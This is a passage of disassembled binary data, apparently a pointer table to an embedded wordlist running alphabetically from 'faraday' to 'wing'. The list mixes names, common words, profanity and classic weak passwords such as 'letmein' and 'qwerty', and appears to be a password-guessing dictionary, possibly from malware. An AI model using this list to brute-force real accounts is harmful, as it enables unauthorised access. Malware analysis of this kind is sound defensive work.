; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_0 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset 